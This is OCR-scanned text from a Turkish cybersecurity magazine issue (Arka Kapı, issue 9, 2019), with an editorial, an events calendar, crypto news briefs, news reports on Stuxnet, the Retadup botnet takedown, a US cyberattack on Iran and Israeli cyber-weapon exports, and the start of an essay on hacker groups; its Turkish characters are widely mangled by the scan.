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EDITORDEN

Arka Kap1 Dergi 9. sayisinda da dolu dolu bir igerik ile
karsinizdal!

Sizlere iki iyi haberimiz var ki boyle giinlerde iyi haber
bekletilmeye hi¢ gelmez! Bu nedenle hizlica paylasalim.
[k haberimiz: Bu sayimizda yeni yazarlarimizla birlikte
yeni, yazi dizilerimiz de var! Neler mi bunlar? Ibrahim
Baloglu ile adli bilisim konulari, Eren Altun ile gazete-
ciler i¢in siber giivenlik ve Cafer Ulug ile siber giivenlige
yeni baglayanlar i¢in uzman goriisleri sizlerle olacak!

Ikinci haberimiz: Bildiginiz iizere ulusal dergimizin
bir de uluslararasi versiyonu olan, Arka Kap1 MAG var.
Bu ay o da birinci yagin1 doldurdu ve her gecen giin
biraz daha biiyliyor. :) Buna istinaden oniimiizdeki ilk
etkinlikte Arka Kapt MAG’in yas giiniinit MAG ekibi
ile birlikte kutluyor olacagiz. Etkinlik duyurularini sos-
yal medya hesaplarimiz {izerinden paylasiyoruz. Takip
edip, katilim saglamanizdan mutluluk duyariz! Bu vesi-
le ile gelin ki tanis olalim, tanis olalim ki isi kolay kila-
lim (Gelin Tanis Olalim, Yunus Emre).

Ote yandan dergi ile ilgili 6neri, elestiri gibi tim goriis-
lerinizi merak ve ilgi ile bekledigimizi ve tiim yorumlar1
ozenle degerlendirdigimizi agik yiireklilikle bildiririz.

Yiiregi iyilik ve giizellikle ¢carpan herkesi selamliyor, he-
pinize keyifli okumalar diliyorum.

Bir sonraki sayida gortismek tizere, saglicakla kalin.

Sahin Solmaz - editor@arkakapidergi.com
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Eylill-Ekim “19 Siber Giivenlik & Bilisim Etkinlikleri

Adana Startup Weekend - Women

20-22 Eyliil 2019 | Gukurova Universitesi Balcali Kampiisii
Kulugka Merkezi Sarigam/Adana

Startup Weekend, ti¢ giinliik yogun bir girisimcilik kampidir.
Kurucusu kadin olan her ekibin kadin erkek karigik da katila-
bilecegi kazanan ekibi, 2020de Singapurdaki finallere katilma
sanst bekliyor.

Bilgi: http://bit.ly/2kfAVVY

Girisimciler icin Siber Giivenlik ve Bulut

Teknolojileri Giinii

28 Eyliil 2019 | Living Lab No:5 Abdiilhamithan Caddesi Is-
tanbul 34306

Bu etkinlikte Bilisim Teknolojileri uzmanlar: tarafindan siber
giivenlik, siber giivenlik uzmanligi, bulut ¢6ztimleri, sanallas-
tirma teknolojileri ile ilgili son gelismeler aktarilacaktir.

Bilgi: http://bit.ly/2IPBCWr

Siber Giivenlik Uzmani Egitim Programi

1 Ekim 2019 | Beylerbeyi Mahallesi Mehmet Akif Ersoy Cad-
desi Tiirk Telekom Binasi Uskiidar 34676 Istanbul

Bulut bilisim giivenligi, web uygulamalar giivenligi, ag giiven-
ligi, penetrasyon testi gibi ¢esitli konulari iceren bu egitimin
sonunda sinava giren basarili olan adaylara sertifika verilecek-
tir.

Bilgi: http://bit.ly/2ITy30R

8. BUSIBER Bogazici Siber Giivenlik

ve KVKK Zirvesi
10 Ekim 2019 | Bogazici Universitesi 20 BU
Giiney Kampiisii Istanbul

Bu etkinlikte Tiirkiyede ve diinyada Siber Giivenlik Konusun-
daki gelismeler, siber giivenlikte yerli ¢oziimler, kurumlara
KVKK ve veri koruma konularinda somut oneriler ele alina-
cak.

Bilgi: https://siber.boun.edu.tr

Uluslararasi Yonetim Bilisim

Sistemleri Konferansi:

Baglantililik ve Siber Giivenlik

10-12 Ekim 2019 | Cibali, Kadir Has Cd.,

34083 Cibali /Fatih/Istanbul

Yapay zeka, siber giivenlik, blockchain, bilgi yonetimi gibi ko-
nularin yer aldig1 bu etkinlik uzman kisiler tarafindan sunula-
cak olup ticretlidir.

Bilgi: http://2019.imisc.net/turkish

BEYAS 2019

10-11 Ekim 2019 | Ankara Universitesi

Bu sempozyum, “Endiistri 4.0 Siirecinde
Bilgi Giivenligi: eBelge, eArsiv, eDevlet, Bu-
lut Bilisim, Biiytik Veri, Yapay Zeka” ana ve
alt temalari ile diizenleniyor.

Bilgi: http://2019.ebeyas.org/

ISCTurkey 2019

16-17 Ekim 2019 | Bilgi Teknolojileri ve letisim Kurumu
Merkez Binasi/ Ankara

Konferansin bu yilki ana temas1 “Siber Giivenlik ve Kuantum
Sonrasi Kriptoloji” olarak belirlenmistir.

Bilgi: https://www.iscturkey.org/

Dijital Doniisiim ve Akilli Sistemler

Uluslararasi Konferans ve Sergisi

23-25 Ekim 2019 | Biltir Merkezi, ODTU Kampiisii, 06800
Cankaya/Ankara

Bu konferans, arastirmacilar1 ve uygulayicilar: fikir aligveri-
sinde bulunmak ve bu alandaki en son bulgular: tartismak i¢in
bir araya getirmeyi amaglamaktadir. DTSS 2019, pratik uygu-
lamalarin yani sira 6zgiin ve yayinlanmamais bilimsel yontem
ve teknolojik yaklasim ¢alismalarini sunar.

Bilgi: https://dtss.metu.edu.tr/
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Kripto Para Haberleri

1 Agustos 2019

Tim Bitcoin'lerin yiizde 85’ ¢ikarildi, kalani 120 yil stirecek

Amiral gemisi kripto para Bitcoin, bugiin bir kilometre tagin1 daha ge-
ride birakti. Giin i¢inde 17,850,000. BTC ile beraber tim Bitcoin’lerin
yiizde 85’i ¢ikarilmis oldu.

6 Agustos 2019

BM: Kuzey Kore, kripto para borsalari ve bankalardan 2 milyar dolar
caldr:

BM tarafindan hazirlanan yeni bir raporda, Kuzey Kore'nin kripto para
borsalar1 ve bankalara yapilan siber saldirilarla milyar dolar: bulan ge-
lir elde ettigi, bu gelirleri kitle
imha silahlar1 programlarini
finanse etmede kullandig1 be-
lirtildi.

9 Agustos 2019

flk  migterisi  Fidelity:
Blockstreamden devasa Bitco-
in madencilik tesisleri.
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Blockchain teknolojileri sir-
keti Blockstream, ABD ve
Kanadada dev Bitcoin ma-
dencilik tesisleri konuglandir-
digin1 agikladi. Blockstream
CSO’su Samson Mow’a gore, RENg:
tesisler son teknoloji ASIC
madencilik cihazi ile tam ka-
pasitede kullanildig: takdirde
kabaca 6 exahash’lik bir Bit-
coin madencilik giictine ula-
sabiliyorlar. Bu, Bitcoin agin-
daki toplam hashrate’in ylizde
10’una esit.

10 Agustos 2019

Brezilyali tinlii milyarder, siip-
heli Bitcoin islemleri nedeniyle gozaltinda:

ted | _|
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Bir zamanlar, diinyanin en zengin 10 isminden biri olan Eike Batista,
Bitcoin ile kara para akladig: siiphesinden dolay1 gozaltina alindi.

14 Agustos 2019
Kripto para borsast Coinbasee Barclays soku:

Kripto para alanindaki en saygin bankacilik iliskilerinden biri sonlandi.
Barclays, kripto para borsasi Coinbase ile galismay1 birakti.

14 Agustos 2019
Samsung telefonlarina sessiz sedasiz Bitcoin destegi:

Samsung’un iist seviye telefonlarinda sundugu ve heniiz yedi tilkede kul-

4

lanilabilen Blockchain Keystorea, Ethereum ve Klaytn'in yani sira Bitco-
in destegi de eklendi.

15 Agustos 2019

Unlii finans danismant: Bitcoin’in sonu Tumblr’a benzeyecek

Amerikali finans danigmani Ed Butowsky, Bitcoin'in sonunun 2013 yi1-
linda 1.1 milyar dolara satin alinip gegtigimiz giinlerde 3 milyon dolara
satilan Tumblr gibi olacagini séyledi.

15 Agustos 2019
Rippledan 1,000,000,000 XRP’lik hibe:

Ripple, XRP’nin benimsenmesini artirmay: hedefleyen Coile 1 milyar
XRP’lik hibe yapti. Bu XRP’lerin
degeri su anda 265 milyon dolar
ediyor.

16 Agustos 2019

5.2 milyar dolarlik 514,000 BTC
Coinbase’in kontroliine girdi
Kripto para sirketi Coinba-
se, saklama hizmetleri sunan
y Xapoyu 55 milyon dolar kar-
sihiginda satin aldi. Bu satin
almayla beraber 514,000 BTC
Coinbase’in kontroliine girdi.

| 16 Agustos 2019
“Bakir” Bitcoin’lere daha fazla
ddeniyor:

Herhangi bir igslem ge¢misi bu-
gt lunmayan Bitcoin'lere siradan
Bitcoin’lere gore ylizde 20 daha
fazla deger bigiliyor.

16 Agustos 2019

" Coinbasede binlerce miisteriyi
etkileyen giivenlik ag1g1:
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Coinbase’in sifreler dahil olmak tizere, yaklasik 3500 miisterisine ait bil-
gilerin sirketin dahili sunucu giinligiinde diiz metin olarak saklandig:
ortaya ¢ikt1.

19 Agustos 2019

Binance'ten Facebook'un kripto parasi Libra'ya rakip: Venus.

Onde gelen kripto para borsast Binance, Facebook'un Librasina benzer
bir proje duyurdu. Borsa, “Venus” ad1 verilen proje ile diinyanin finan-
sal sistemini yeniden sekillendirmeyi ve finansal hegemonyay: kirmayi
hedefliyor.

20 Agustos 2019

Milyonlarca dolarlik uyusturucu parasi, iki biiyiik Bitcoin borsasinda



saklandi.

ABDde yasayan bir uyusturucu saticisinin uyusturucudan kazandigi
milyonlarca dolarlik kripto parayi iki biiyiik borsada sakladig1 anlasild1.
Bu borsalar, Poloniex ile Bittrex.

21 Agustos 2019

ABD Disisleri Bakanrndan Bitcoin agiklamasi: SWIFT gibi diizenlenme-
li.

ABD Disisleri Bakani Michael Pompeo, Bitcoin ve Libra gibi kripto para-
larin SWIFT le ayn1 sekilde regiile edilmesi gerektigini soyledi.

21 Agustos 2019
Facebook'un kripto parasi Libra'ya AB sorusturmast:
Avrupa Birliginin (AB), Facebook'un kripto parasi Libra’yr haksiz reka-

beti 6nleme potansiyelinden 6tiirii sorusturdugu bildiriliyor.

21 Agustos 2019

ABD Hazine Bakanligi, birgok Bitcoin adresi ile bir Litecoin adresini
kara listeye ald1.

ABD Hazine Bakanligrna bagli OFAC, uyusturucu kagakeiligi suglar ile
iligkili 11 Bitcoin adresi ile 1 Litecoin adresini yaptirim listesine dahil
etti.

23 Agustos 2019

Hashrate %50 artacak: Bitmainden 600,000 yeni madencilik ¢ipi siparisi.
Bitcoin madenciligi devi Bitmainin Tayvanli ¢ip dreticisi TMSCye
600,000 yeni madencilik ¢ipi siparisi verdigi bildiriliyor. Bu ¢iplerin kul-
lanimiyla birlikte hashrate’in en az %50 artmasi 6ngoriilityor.

23 Agustos 2019

Ingiltere MB Baskanr'ndan dolarin hakimiyetini bitirecek dijital para
gagrist:

ETHIGAL
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Dolarin hakimiyetinin kiiresel ekonomide siirdiiriilebilir bir iyilesme-
ye engel teskil ettigini savunan Ingiltere Merkez Bankasi Bagkani Mark
Carney, dolarin rezerv para statiisiinil iistlenecek bir dijital para 6neri-
sinde bulundu.

25 Agustos 2019

Bilinen ilk BTC/USD islemi: 5 dolara binlerce Bitcoin alindu.

USD karsiliginda gergeklestirilen ilk Bitcoin satigi, 12 Ekim 2009dayd1
ve 5 dolar kargiliginda binlerce Bitcoin alinmigti. Alicinin kim oldugu
bilinmezken satici, Bitcoin’in Satoshi Nakamotodan sonraki gelistirici-
siydi.

28 Agustos 2019

Blockstream yoneticisi: Ethereum teknolojik bir ¢ikmazda.

Blockchain teknoloji sirketi Blockstream’in yoneticilerinden Samson
Mow, Ethereum'un teknolojik bir ¢itkmazda oldugunu belirterek “Ne ka-
dar ¢cok kullanilirsa o kadar ¢abuk 6lecek” dedi.

30 Agustos 2019

Ingiliz milyarderden 1 milyar dolarlik kripto para girisimi plant:

Financial Times, Ingiliz milyarder Alan Howard’in sahibi oldugu Elwo-
od Asset Management’in kripto para fonlarina yatirim yapacak 1 milyar
dolarlik bir girisim olusturmayi planladigini bildirdi.

30 Agustos 2019
Portekizde kripto paraya “0” vergi:
Portekiz vergi dairesinden yapilan agiklamaya gore, kripto paralarin iti-

bari para ile takas edilmesi KDV gerektirmiyor ve kripto para kullanici-
lar1 herhangi bir gelir vergisi 6demek zorunda degil.

ETHICAL
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ARKA KAPI Siber Biilten / bilgi@siberbulten.com

SIBERBULTEN

siber guvenligin turkce hafizasi

®
Iran’ln niikleer programini hedef alan Stuxnet saldirist

uzun yillardir gizemini koruyordu. Bunca yil karanhkta

kalan soru ise su idi: ABD ve Israil, zararli yazilimlarini
yiiksek giivenlikli uranyum zenginlestirme tesisindeki bilgisa-
yar sistemlerine yerlestirmeyi nasil bagardi?

Bu gizem gegtigimiz giinlerde Yahoo Newste Kim Zetter
imzasiyla yayimlanan haberle ¢oziilmiis oldu. Habere gore
Hollanda istihbarat1 i¢in ¢aligan Iranli bir kostebek, ABD ve
Israil'in Stuxnet viriisiiniin Iran’in Natantzdaki niikleer tesi-
sindeki santrifiijlere bulagtirilmasini sagladi. Santrifiij, uran-
yum zenginlestirmede kritik 6neme sahip bir laboratuvar ci-
hazidir.

Tiiriiniin ilk 6rnegi olan ve Iran’in niikleer programini sabote
etmek icin tasarlanan viriis, Iran’in Natanz koyii yakinlarin-
daki tartigmali uranyum zenginlestirme tesislerinde ilk parti
santrifiijinii kurmaya baslamasinin ardindan dijital savas ¢a-
g1 etkili bir sekilde baslatmis oldu.

Varlig1 ve nasil bir rol iistlendigi konusu bu zamana kadar hi¢
agiklanmayan gizli kurye, aslen Iranli bir mithendis. Dért is-
tihbarat gorevlisinin verdigi bilgiye gore, Hollanda istihbarat
ajanst AIVD tarafindan gorevlendirilen miihendis, ABD’li
gelistiricilere kodlarin1 Natanzdaki sistemleri hedeflemele-
rine yardimeci olacak kritik bilgileri temin ediyordu. Sira bu
sistemlere Stuxnet’i yerlegtirmeye gelince, kostebek en ¢ok ih-
tiya¢ duyulan seyi yani erisimi, USB flash siiriiciisii kullanmak
suretiyle sagladi.

2004 yilinda CIA ve Mossad’in tesise erigmelerine yardim-
c1 olmasi i¢in Hollandalilardan destek istenmisti. Ancak bu,
Natanzdaki bir paravan sirkette teknisyen olarak ¢aligan kos-
tebegin 2007de hedefteki sistemlere dijital silah1 yerlestirdigi
zamana kadar miimkiin olmadi.

CIA ve Mossad, Yahoo News’in sorularini cevaplamazken
AIVD de operasyona dahil oldugu yoniindeki iddialara yo-
rum yapmaktan kacindi.

Simdilerde ‘Olimpiyat Oyunlarr’ (Olympic Games) adi ile
agiga cikan gizli operasyon, Iranin niikleer programini yok
etmek icin degil, yaptirimlar ve diplomasinin yiiriirliige gir-
mesi adina zaman kazanmak amaciyla tasarlanmigti. Bu stra-
teji ran’t miizakere masasina getirmeyi basardi ve nihayetinde
2015 yilinda bu iilke ile uzlagmaya varildi.

Operasyonda Hollanda roliiniin agiga ¢ikmasi, ABD ve miit-
tefikleri arasinda Iran'in niikleer programi ile miicadele nok-
tasinda hala giiglii ve kargilikli anlagsmalar ve uzun siireli is-
birliginin oldugu donemi akillara getiriyor. Zira bu durum,
gectigimiz y1l Trump y6netiminin Tahran ile zor kazanilmig
niikleer anlasmasindan ¢ikmast ile degismisti.

Olimpiyat Oyunlari, esas itibariyle NSA, CIA, Mossad, Is-
rail Savunma Bakanlhigi ve Israil'in NSA'i olarak bilinen Is-
rail SIGINT Ulusal Birimi'nin katildig1 ortak bir ABD-Israil
misyonu idi. Ancak kaynaklara gére ABD ve Israil'in diger
ti¢ iilkeden destek almasi, sembolil bes halka olan olimpiyat
oyunlarinin kod adi olarak se¢mesinin sebebini olusturuyor.
Ug iilkeden ikisi Hollanda ve Almanya. Digerinin Fransa ol-
dugu disiinilityor. Birlesik Krallik istihbaratinin da operas-
yonda rol oynadi8: biliniyor.

Kaynaklara gore, Almanya, Iran tesislerinde kullanilan en-
distriyel kontrol sistemleri hakkinda teknik 6zellikler ve bil-
gilerle ilgili katkida bulundu. Zira santrifiijleri kontrol etmek
amaciyla Iran tesislerinde kullanilan sistem, Alman Siemens
firmasi tiretimi. Fransanin da benzer tiirde istihbarat sagladi-
gina inaniliyor.

Ancak Hollandanin durumu farkli. Iranin yasadist niikleer
programi i¢in Avrupadan ekipman tedarik etme faaliyetleri-
nin yan sira santrifijlerin kendileri hakkinda bilgi saglama
konusunda kritik istihbarat saglamak suretiyle Hollanda, di-
ger iilkelerden farkli bir rol oynadi. Bu Natanzdaki santrifiij-
lerin 1970’lerde Pakistanli bir bilim adami olan Abdul Qadeer



Khan tarafindan Hollandali bir sirketten ¢alinan tasarimlara
dayanmasindan kaynaklaniyordu. Khan, Pakistan'in niikleer
programini insa etmek icin tasarimlari ¢aldi, sonra onlar1 fran
ve Libya dahil diger iilkelere pazarlamaya basladi.

AIVD adiyla bilinen istihbarat 6rgiitii, ABD ve Ingiliz istih-
barati ile birlikte Khan'in Iran ve Libyada niikleer programlar
olusturulmasina yardimci olan Avrupali danigmanlar ve pa-
ravan sirketlerin tedarik agina sizdi. Bu sizma, sadece modasi
geemis simsarlik faaliyetlerini igermiyor, ayni zamanda gelis-
mekte olan dijital casusluk alaninin bir par¢asi olarak gelistiri-
len saldirgan hack’leme operasyonlarini da kullaniyordu.

Yillarca geri planda kalan Iran’in niikleer programu, iilkenin
Khandan gizlice bir prototip seti ve santrifiij bilesenleri satin
aldig1 1996 yilinda én plana ¢ikmaya bagladi. Iran, 2000 y1-
linda, uranyum zenginlestirmek i¢in 50 bin santrifiij barindi-
racak bir tesis insa etme planlariyla Natanzda ¢igir act1. Kay-
naklara gore, AIVD ayni y1l Iran’in niikleer planlari hakkinda
daha fazla bilgi edinmek icin kilit bir iran savunma tegkilati-
nin e-posta sistemini hackledi.

Mayis 2007’ye gelindiginde Iran Natanzdaki tesiste 1700
santrifiij kurdu. Yaza kadar bu rakami ikiye katlamay1 plan-
liyordu. Ancak 2007 yazindan kisa bir siire 6nce Hollandali
kostebek Natanza girmeyi bagardi. Kostebegin kurdugu ilk
sirket Natanza sizmayr bagaramadi. Bazi kaynaklara gore
bu, sirketin kurulus seklinden kaynakli idi ayrica Iranlilar da
hélihazirda siiphelenmisti.

Ikinci sirket ise Israilden destek aldi. Bu kez egitimli bir mii-
hendis olan Hollandali kdstebek teknisyen gibi davranarak
igeri girmeyi basard1. Santrifiij kurmak, kostebegin gorev ala-
nina girmiyordu ancak mevcut sistemler hakkinda yapilandir-
ma istihbarat1 toplamasi icin ihtiya¢ duydugu yere girebildi.
Kaynaklardan biri Yahoo Newse yaptig1 agiklamada, kostebe-
gin gerekli bilgileri toplamak i¢in bir¢ok kez igeri girdigini ve
viriisii giincelleyebildigini belirtiyor.

Kaynaklar, kostebegin topladig: bilgiler hakkinda ayrintili bil-
gi vermedi, ancak Stuxnet’in, yalnizca ¢ok spesfik bir ekipman
ve ag kosullar1 kurulumu buldugunda sabotajini baglatabi-
lecek hassaslikta bir viriis oldugu diisiiniilityor. Saldirganlar,
kostebegin temin ettigi bilgileri kullanmak suretiyle kodu
giincelleyebiliyor ve bu hassasiyeti saglayabiliyor.

Siber giivenlik sirketi Avast ve Fransiz polisi, 850 binden fazla
bilgisayardaki Retadup adli zararli yazilimi etkisiz hale getirdi.
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Retadup 2017den beri siber suglular tarafindan kripto para
madenciligi i¢in kullaniliyor. S6z konusu yazilim, son aylarda
en ¢ok Latin Amerikadaki bulunan cihazlara Monera kripto
para madencileri yiiklemek i¢in kullanilmus.

Avast, Retadupin arkasindaki kot niyetli aktorlerin faaliyet-
lerini izlemek i¢in Mart 2019'dan beri calistiklarini agikladi.
Yapilan inceleme sonucunda, zararli yazilim tarafindan kul-
lanilan C&C iletisim protokoliiniin, C&C sunucusuna erigimi
bulunan birinin, gizliligi ihlal edilmis cihazdan zararh yazili-
mi kaldirmak i¢in, kendi yararina kullanabilecegi bir tasarim
hatasina sahip oldugu ortaya cikt1.

Retadup C&C alt yapisinin daha ¢ok Fransada bulundugunun
tespit edilmesinden sonra Avast, Fransanin ulusal jandarma tes-
kilatina bagli Siber Suglarla Miicadele Merkezine (C3N) ulastu.

Kolluk kuvvetleri, Avast'in kurbanlarla ilgili baz1 veriler top-
lamasina izin veren siber suglulara hosting hizmeti sunan
sirketten C&C sunucusuna ait bir goriintii elde etti. Sirkete,
sadece kurbanlar hakkinda herhangi bir kisisel belge icerme-
yen C&C ekran goriintiisti verildi. Sirket aragtirmacilar ekran
gorintistindeki verilerle 850 binden fazla virtisli PC bulun-
dugunu, biiytik ¢ogunlugunun Latin Amerika'da oldugunu
ve magdurlarin %85'inden fazlasinda tiglincti taraf giivenlik
yaziliminin yiikli olmadigini tespit etti. Peru viriisten etkile-
nen kurbanlarin bulundugu tilkelerin baginda geliyor. Peru’yu
Venezuella, Bolivya, Meksika ve Ekvador takip ediyor.

Avastin gerceklestirdigi inceleme, Retadup gelistirdigi tahmin
edilen ‘sanal kisinin’ Nisan 2018de bir Twitter hesabi olustur-
dugunu ve Trend Micronun tehdit unsurunun yeni tiirevlerini
ve ozelliklerini agiklayan bir blog yazisi yayinlamasinin ardin-
dan zararli yazilimdan kendi adina pay ¢ikardigini ortaya koy-
du. S6z konusu Twitter hesabi hala aktif durumda ancak 2018
Nisanindan bu yana herhangi bir paylagim yapmamus.

Temmuz 2019dan sonra Fransiz polisinin Retadup? takip et-
mek i¢in savcilardan onay almasinin ardindan, saldirganlarin
C&C suncusu, Avastn C&C ptotokol hatasini kendi yararina
kullanmak i¢in kurdugu sunucu ile degistirildi.

Avast'tan Jan VojtéSek Carsamba giinti kaleme aldig1 blog yazi-
sinda, “Dezenfeksiyon sunucusu, gelen bot taleplerine, zararl
yazilimin baglanti par¢alarinin kendi kendini imha etmesine
neden olan spesifik bir cevapla yanit verdi” dedi.

FBI durumdan haberdar edilirken, Amerika Birlesik
Devletlerinde bulunan C&C altyapisinin bazi kisimlarinin et-
kisiz hale getirilmesine yardimci oldu. Avast, siber su¢lularin 8
Temmuza kadar botlar: {izerindeki kontrollerini kaybettigini

soyledi.
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ABD tarafindan gergeklestirilen bir siber saldiri, Iran’in pet-
rol tankerlerini hedef alma kabiliyetine zarar verdi. New York
Timesin haberine gore Haziran ayinda Irana yonelik ger-
ceklestirilen gizli bir siber saldiri, Iran’in paramiliter giicleri
tarafindan, petrol tankerlerine yonelik saldirilar1 planlamak
i¢cin kullanilan kritik veri tabanini sildi ve Tahran’in Iran Kor-
fezindeki nakliye trafigini gizlice hedefleme kabiliyetini en
azindan gegici bir siireligine azaltt1.

Amerikali yetkililer, fran'in 20 Haziran saldirisinda tahrip
olan bilgileri kurtarmaya ve askeri iletisim aglar1 dahil olmak
tizere bazi bilgisayar sistemlerini yeniden baslatmaya calistig1-
n1 sdyledi. Amerika Birlegik Devletleri ve Iran uzun zamandir
savas ve baris arasindaki gri bolgede kalinmasi igin dikkatlice
ayarlanmuig, ad1 konulmamus bir siber ¢atigma i¢indeler.

Yetkililer, 20 Hazirandaki gelismenin devam eden catisma-
da kritik bir saldir1 oldugunu ve Bagkan Trump'in Iran’in bir
Amerikan ugagini diistirdiikten sonra, bir misilleme hava sal-
diris1 yapmayi iptal etmesinin sonrasinda yasandigina dikkat
cekti.

Amerikan hiikiimet yetkililerine gore, Iran, saldiriya cevaben
olay1 tirmandirmadi ve ABD hiikiimetine ve Amerikan sirket-
lerine kars: siber operasyonlarini istikrarli bir sekilde siirdiir-
di.

Eski bir istihbarat yetkilisi Norman Roule, Amerika'nin siber
operasyonlarinin, daha genis bir catisma veya misillemeye yol
agmadan Iran’in tavrini degistirmek icin tasarlandigini syle-
di.

Roule, su ifadeleri kullandi: “Diismaninizin su mesajt anladi-
gindan emin olmaniz gerek: Amerika Birlesik Devletlerinin
kendilerinin hi¢ bir zaman karsilagsmay1 umamayacaklar: gok
bityiik yetenekleri var ve rahatsiz edici eylemlerini durdurur-
larsa bu kendileri i¢in en iyisi olur”

Yetkililer, bir siber saldirinin potansiyel bir taarruz, geleneksel
bir askeri saldir1 ile ayni1 sekilde engellemesini beklemedikle-
rini ifade ediyor. Kidemli bir savunma yetkilisi, bunun her
iki tarafin da kamuoyuna agik bir sekilde bildirmemesinden
kaynaklandigini soyliiyor.

Kidemli bir askeri yetkiliye gére Iran Devrim Muhafizlar’nin
istihbarat grubuna yonelik saldir1 Iran’in gizli taarruzlar dii-
zenleme kabiliyetini zayiflamaya yonelikti.

Beyaz Saray, saldirty1 insansiz hava aracinin disiiriilmesine

orantili bir cevap ve Tahran1 miirettebatsiz hava aracina zarar
verdiginden dolay cezalandirmak olarak degerlendirdi.

Siber saldirida hedef alinan veri tabani Tahrana hangi tankeri
nasil hedef alacagini segmesinde yardimei oluyordu. Tahran'in
kendi gemilerinden birinin alikonulmasina misilleme olarak
bir Ingiliz tankerini ele gecirmesine ragmen 20 Hazirandaki
siber saldiridan bu yana hi¢bir tanker belirgin gizli bir saldir1
ile hedef alinmada.

Yetkililer, 20 Hazirandaki siber operasyonun etkilerinin her
zaman gecici olacak sekilde tasarlanmasina ragmen beklenen-
den daha uzun siirdiigiinii ve Iran’in hala kritik iletigim sis-
temlerini onarmaya ¢alistigini ve heniiz saldirida kaybedilen
verileri kurtarmadigini séyledi.

“Iran’in sofistike bir aktér oldugunu ve neler olup bittigine
bakacaklarini sdyleyen Iran ile ilgili operasyonlar1 denetleyen
ABD Merkez Komutanligrnda istihbarat direktorii olarak go-
rev yapan emekli general Mark Quantock, “Rusya, Cin, iran

ve hatta Kuzey Kore bile nasil olup da sizabildiklerini aragtira-
caklardir” dedi.

Yetkililere gore, askeri ve istihbarat tegkilatlar: bir siber ope-
rasyonun maliyetini ve saldirilara miiteakip olusabilecek bilgi
kaybr risklerini her zaman goz éniinde bulunduruyorlar. Is-
tihbarat yetkilileri uzun zamandir bazi siber operasyonlardan
stiphelenmekte ancak elde edilecek faydanin olusacak maliye-
te degmeyecegini diisiindiiklerinden harekete ge¢miyorlar.

Diinyanin 6nde gelen siber giivenlik ihracatcilarindan Israil’in,
siber silah ihracatini kolaylagtiracak yasal degisikligi bir sene
once hayata gecirdigi ortaya ¢ikt1.

[srail Savunma Bakanligi baz iirtinlerin belirli iilkelere satigt
i¢in lisans alinmasi konusunda siber giivenlik firmalarina mu-
afiyet taninmasini sagladi. Reuters'in haberine gore, savunma
bakanlig1 bir sene 6nce yaptig1 degisiklikle siber silahlarin ve
siber casusluk yazilimlarinin yabanci tilkelere satilmasini ko-
laylastirdi.

[srailli siber casusluk firmas1 NSO Group'un Whatsapp hesap-
larin1 hacK’leyen Pegasus yazilimini Suudi Arabistana sattig1
ve Suud yo6netiminin casus yazilimi muhalif gazeteci Cemal
Kasikg1 cinayetinde kullandig1 iddia edilmisti.

Konuya yakin kaynaklarin verdigi bilgiye gore degisikligin
onaylanmasi oldukea hizli gerceklesti. Israilli savunma sana-
yi sirketlerinin bagta Arap tilkeleri olmak iizere cesitli tilkele-
re ihracat yapmasinda bazi kisitlamalar bulunuyor. Ornegin
2016 yilinda, Pegasus'un bir Arap iilkesine satigina Israil Sa-

vunma Bakanlig1 onay vermisti (https://bit.ly/2mhnrd4).
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[srailde siber giivenlik iiriinleri her ne kadar savunma sanayi
triinii olarak kabul edilse de, bu tiriinlerin ihracat1 konusun-
da farkl bir politika izleniyor. 2015 yilinda ilk kez, Israil siber
giivenlik iirtinlerinin ihracati savunma sanayi ihracatinin top-

laminin dniine ge¢misti (https://bit.ly/2maamSC).

2018 yilinda kiiresel bilgi giivenligi harcamalarnin topla-
minin 114 milyar dolar1 gegecegi ve 2022 yilina kadar siber
givenlik piyasasinin genisliginin 1 trilyon dolara ulasacag:
hesaba katildiginda Israil'in biiyiiyen bu pastadan daha fazla
pay almak i¢in gerekli yasal degisiklikleri hayata gecirdigi yo-
rumlar1 yapiliyor.

Siber giivenlik jhracatini artirmaya yonelik bir sinyal de Eko-
nomi Bakanligrndan geldi. Bakanlik biinyesinde hem defansif
hem de ofansif siber teknolojilerin yabanci marketlerde pazar-
lanmasi igin yeni bir birim kuruldu. Insan haklar: 6rgiitleri ise
Israil'in sattif1 casus yazilimlari baskici rejimlerin muhaliflere
kars1 kullandigini savunuyor.

NSO Group disinda, Verint ve Elbit Systems adli Israilli girket-
ler siber silah piyasasinda 6ne ¢ikan sirketler olarak biliniyor.

Haziran ayinda bir siber giivenlik konferansinda konusan {s-
rail Bagbakan1 Binyamin Netanyahu, siber giivenlik piyasasi
biiyiidiikge, regiilasyon diizenlenmesine yonelik talebin artti-
gina dikkat ¢ekmis, “Daha fazla biiylimek i¢in daha az regii-
lasyon riskini almamuiz gerektigini diistiniiyorum.” demisti.

42 tilkenin imzaladig ve silah ihracatini konu edinene Wasse-
naar Sozlesmesi, internet gézetleme ve sizma yazilimlarini da
ihracat1 kontrol edilmesi gereken ‘silahlar’ listesine eklemisti.
Israil imzaci iilkeler arasinda yer almuyor.
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Hacker

ruplarinin
Cokusu

0 - Giris:
acking tarihinin baglarinda ve biyiik bir kisminda
Htopluluklan kahramanlar olusturuyordu. 80’lerin
basindaki CCCden 2000’lerdeki TESO’ya, LoD,
MoD, cDc, LOpht ve ad1 gegen ve ge¢meyen diger kahraman
hacker takimlarinin makaleleri, araclar1 ve eylemleri {izerin-
den_kiltirimiiz olusturuldu, sekillendirildi ve 6liimsiizlesti-
rildi.
Bu yazida yakin zamanda neden pek fazla hacker grubu gor-
medigimizi ve gordiiklerimizin neden dnciileri ile ayni kiiltii-

rel etkiye sahip olmay1 basaramadiklar1 (Anonymous ve onla-
rin uydu ¢abalari gibi) tartisiimaktadir.

1 - Oncesi:

Hacking 6ztinde bir yeralti hareketidir: yer alanlar ise her
daim teknolojiyi (istismar ederek) kullanici tabaninin bilgisi
haricinde kullananlar olmustur. Bu, daha 6nce bilinmeyen bil-
gilerin agiga ¢ikarilmasi ve bunlarin paylasilmasi icin verilen
yogun cabalarla siki sikiya baglidir. Bu 6nerme, hackerlari bil-
dik bileli gegerlidir: giiniimiizdeki bilgilendirici kitlesellesme-
ye degin ¢ok da fazla bilgisayar kullanicis: yoktu.

Hackerlarin ilgi alanlarinin dogasi 6ziinde zorluklar barin-
dirir: Biiyiiyerek artan bilgi ne hakkinda olursa olsun zordur.
Agir aragtirma yapmayi, deneyimlemeyi gerektirir ve eger he-
defler dikkatlice belirlenmemigse sonu olmayan bir yolculuga
doniisebilir. Herhangi bir bilimsel ¢aligmadaki gibi iyi miktar-
da isbirligi gerektirir - ki bu, hackerlarin sansina, bilgisayar
aglarinin ve en énemlisi de Internetin ortaya ¢ikmasiyla bii-
yiik olgiide saglanmis olan bir tutumdur.

